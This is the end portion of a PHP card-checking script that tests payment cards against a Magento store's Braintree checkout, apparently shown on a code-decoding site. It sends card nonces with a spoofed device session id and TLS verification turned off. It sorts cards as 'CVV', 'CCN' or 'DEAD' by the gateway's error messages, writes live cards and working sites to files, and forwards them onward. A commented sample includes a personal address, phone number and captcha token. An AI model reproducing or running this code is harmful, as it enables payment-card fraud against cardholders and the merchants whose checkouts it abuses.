// $postfield = '{"cartId":"'.$cart_id.'","billingAddress":{"countryId":"'.$country.'","regionId":"'.$regionID.'","regionCode":"'.$region_code.'","region":"'.$region.'","street":["'.$street.'"],"company":"","telephone":"'.$phone.'","postcode":"'.$postcode.'","city":"'.$city.'","firstname":"'.$fname.'","lastname":"'.$lname.'","saveInAddressBook":null},"paymentMethod":{"method":"braintree","additional_data":{"payment_method_nonce":"'.$pnonce.'"}},"email":"'.$email.'"}';
$postfield = '{"cartId":"'.$cart_id.'","billingAddress":{"countryId":"'.$country.'","regionId":"'.$regionID.'","regionCode":"'.$region_code.'","region":"'.$region.'","street":["'.$street.'"],"company":"","telephone":"'.$phone.'","postcode":"'.$postcode.'","city":"'.$city.'","firstname":"'.$fname.'","lastname":"'.$lname.'","middlename":"","saveInAddressBook":null},"paymentMethod":{"method":"braintree","additional_data":{"payment_method_nonce":"'.$pnonce.'","device_data":"{\"device_session_id\":\"e5076ba5a25aad41834d12fbabe98ec0\",\"fraud_merchant_id\":null}"},"extension_attributes":{"agreement_ids":["1"]}},"email":"'.$email.'"}';
if ($regionID === null || empty($regionID)) {
$postfield = '{"cartId":"'.$cart_id.'","billingAddress":{"countryId":"'.$country.'","regionCode":"'.$region_code.'","region":"'.$region.'","street":["'.$street.'"],"company":"","telephone":"'.$phone.'","postcode":"'.$postcode.'","city":"'.$city.'","firstname":"'.$fname.'","lastname":"'.$lname.'","middlename":"","saveInAddressBook":null},"paymentMethod":{"method":"braintree","additional_data":{"payment_method_nonce":"'.$pnonce.'","device_data":"{\"device_session_id\":\"e5076ba5a25aad41834d12fbabe98ec0\",\"fraud_merchant_id\":null}"},"extension_attributes":{"agreement_ids":["1"]}},"email":"'.$email.'"}';
}
// $postfield = '{"cartId":"X1iRV0v9dZ98JnmPsnBnsQTfaOPq61DK","billingAddress":{"countryId":"GB","region":"Hampshire","street":["Bentworth"],"telephone":"01420 562338","postcode":"GU34 5JT","city":"Alton","firstname":"Aht","lastname":"Dawg","saveInAddressBook":null},"paymentMethod":{"method":"braintree","additional_data":{"payment_method_nonce":"9f57407f-fa6b-4648-88d2-ae61e75d69d6","g-recaptcha-response":"03AFcWeA5az5c2J7NI-0KzFzaTqJaPKFPGdLGR9777ulXHesVTww_fmMv5BxIr7iBIk1bZP5rl3fw_94V6BqLRFUuVLvozyUsUL4vUBZKa9qpTHjelPYYLwh1gQyFL6Okt7DgLWb3A852AqnXxAwlKtwKGGtDKcaevdAygBhoHlbs4BM7exrR0Y89iH2Mu64gBuxF6wln0np7wXzB793QrwtU8Y9uZUrM2HUAYfdPXUU8Ct3ZHobD5qWc3Za0yGwbxTubAXQPyKHNJbGR1H2hPFnDvzWcroJ7QeiLxsv6vaLJhIqpTFWAMR-ADSeBmExyrphTkrOfG1xhZPbdWxZJ89AsNGG4ebxQiiFfcb68A0KT5_Rj6pXB1XUHAQ5VbXXpnAn1rpWLw05Fc_jRPttlqwjWNN40Pr7Mw1YcYoBtYNZu5OdUBRE5th3d_MsOuWGwE599WOqeR4NTB6WX24H_YSe1Ps5V32YkpXHAeoM7RwJiw0oXhDO457m7Ml8-nCQe3vX4s2W0DCVShakP-eMlxJ_OBGuHOa0cV6E-iCQgSROBG5eDdkDaOrtnvC8QlyfdZun8Ep5jdQSyhpV7y0LW2AoUWqX1eBSYQd3etzhWA0ZvkmfCBNvnTHZNL5QZ8fKXKdCQ69uUjjfPOWbkUMwNJLEW4sdH4YSUdRg","device_data":"{\"correlation_id\":\"e1814c460c27f49a875bff9fe3011c5b\"}"},"extension_attributes":{"swissup_checkout_fields":{},"agreement_ids":["2"]}},"email":"[email protected]"}';
$headers = array();
$headers[] = 'User-Agent: '.$ua.'';
$headers[] = 'Accept: */*';
$headers[] = 'Accept-Language: en-US,en;q=0.5';
$headers[] = 'Content-Type: application/json';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'DNT: 1';
$headers[] = 'Sec-GPC: 1';
$headers[] = 'Connection: keep-alive';
$headers[] = 'Sec-Fetch-Dest: empty';
$headers[] = 'Sec-Fetch-Mode: cors';
$headers[] = 'Sec-Fetch-Site: same-origin';
$headers[] = 'Pragma: no-cache';
$headers[] = 'Cache-Control: no-cache';
$headers[] = 'TE: trailers';
// $headers[] = 'Accept-Encoding: gzip';
curl_setopt_array($ch, [CURLOPT_COOKIEFILE => $cookie, CURLOPT_COOKIEJAR => $cookie]);
curl_setopt_array($ch, array(CURLOPT_HTTPHEADER => $headers, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_POSTFIELDS => $postfield));
$curl = curl_exec($ch);
// $curl = gzdecode($curl);
$statuscode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$total_bandwidth = curl_getinfo($ch, CURLINFO_SIZE_UPLOAD) + curl_getinfo($ch, CURLINFO_SIZE_DOWNLOAD);
if ($statuscode == 0) {
$retry_count++;
if ($retry_count >= $max_retry) {
echo "$card MAXIMUM RETRY | REQUEST FAILED";
goto END;
}
sleep(1);
} else {
break;
}
curl_close($ch);
} while (true);
fwrite(fopen("logs/logs.txt", "a"), " $card $statuscode $total_bandwidth\n$curl\r\n\n");
$msg = g($curl, '"message":"','"');
$msg = str_replace('Your payment could not be taken. Please try again or use a different payment method. ', '', $msg);
if ((strpos($curl, 'error'))) {
echo "#DEAD $card [AMOUNT: $amt] [SERVER ERROR] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
forwardSK("$card $site $msg");
goto END;
}
// if ((strpos($curl, 'success'))) {
// echo "#CVV $card [AMOUNT: $amt] [$msg] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
// forwardCVVCHARGED("$card CVV B3V2");
// forwardSK("$card $site $msg");
// fwrite(fopen("lives/b3charged.txt", "a"), $card . " " . date("F j, Y, g:i a") . " MSG: $msg B3\r\n");
// fwrite(fopen("lives/b3chargedcurl.txt", "a"), $card . " " . date("F j, Y, g:i a") . " CURL: $curl B3\r\n");
// fwrite(fopen("lives/b3site.txt", "a"), "$site\n");
// goto END;
// }
if (strpos($curl, 'ReCaptcha') !== false || strpos($curl, 'captcha') !== false) {
echo "#DEAD' $card [AMOUNT: $amt] [$msg] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
forwardSK("$card $site $msg B3V2");
goto END;
}
if ($statuscode == '200' || strpos($curl, '"success":true') !== false) {
echo "#CVV $card [AMOUNT: $amt] [CHARGED] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
forwardCVVCHARGED("$card CVV B3V200");
forwardSK("$card $site $msg");
fwrite(fopen("lives/b3charged.txt", "a"), $card . " " . date("F j, Y, g:i a") . " MSG: $msg B3\r\n");
fwrite(fopen("lives/b3chargedcurl.txt", "a"), $card . " " . date("F j, Y, g:i a") . " CURL: $curl B3\r\n");
fwrite(fopen("lives/b3site.txt", "a"), "$site\n");
goto END;
}
elseif (strpos($curl, 'Gateway Rejected: avs') !== false || strpos($curl, 'Address Validation') !== false) {
echo "#CVV $card [AMOUNT: $amt] AVS $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
forwardCVVCHARGED("$card AVS B3V2");
forwardSK("$card $site $msg");
fwrite(fopen("lives/b3charged.txt", "a"), $card . " " . date("F j, Y, g:i a") . " MSG: $msg B3\r\n");
fwrite(fopen("lives/b3chargedcurl.txt", "a"), $card . " " . date("F j, Y, g:i a") . " CURL: $curl B3\r\n");
fwrite(fopen("lives/b3site.txt", "a"), "$site\n");
goto END;
}
if (strpos($curl, 'Card Issuer Declined CVV') !== false || strpos($curl, 'card verification number') !== false) {
echo "#CCN $card [AMOUNT: $amt] [Card Issuer Declined CVV] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
forwardCCN("$card CCN");
forwardSK("$card $site $msg");
fwrite(fopen("lives/ccn.txt", "a"), $card . " " . date("F j, Y, g:i a") . " MSG: $msg B3\r\n");
fwrite(fopen("lives/b3site.txt", "a"), "$site\n");
goto END;
}
elseif (strpos($curl, 'Gateway Rejected: avs_and_cvv')) {
echo "#CCN $card [AMOUNT: $amt] [Gateway Rejected: avs_and_cvv] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
forwardCCN("$card CCN");
forwardSK("$card $site $msg");
fwrite(fopen("lives/ccn.txt", "a"), $card . " " . date("F j, Y, g:i a") . " MSG: $msg B3\r\n");
fwrite(fopen("lives/b3site.txt", "a"), "$site\n");
goto END;
}
elseif ((strpos($curl, 'Insufficient Funds')) || (strpos($curl, 'Insufficient fund'))) {
echo "#CCN $card [AMOUNT: $amt] [Insufficient Funds] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
forwardCCN("$card INSU B3");
forwardSK("$card $site $msg");
fwrite(fopen("lives/b3site.txt", "a"), "$site\n");
goto END;
}
else {
echo "#DEAD' $card [AMOUNT: $amt] [$msg] $ip <a href=\"$domain\" target=\"_blank\">$siteNumber</a>";
forwardSK("$card $site $msg B3V2");
goto END;
}
END: ### [END]
ob_flush();
ob_get_clean();
unlink($cookie);
exit();
?>
Function Calls
None |
Stats
MD5 | ae80ca186d5fca01b3125ce7ed6bbb33 |
Eval Count | 0 |
Decode Time | 121 ms |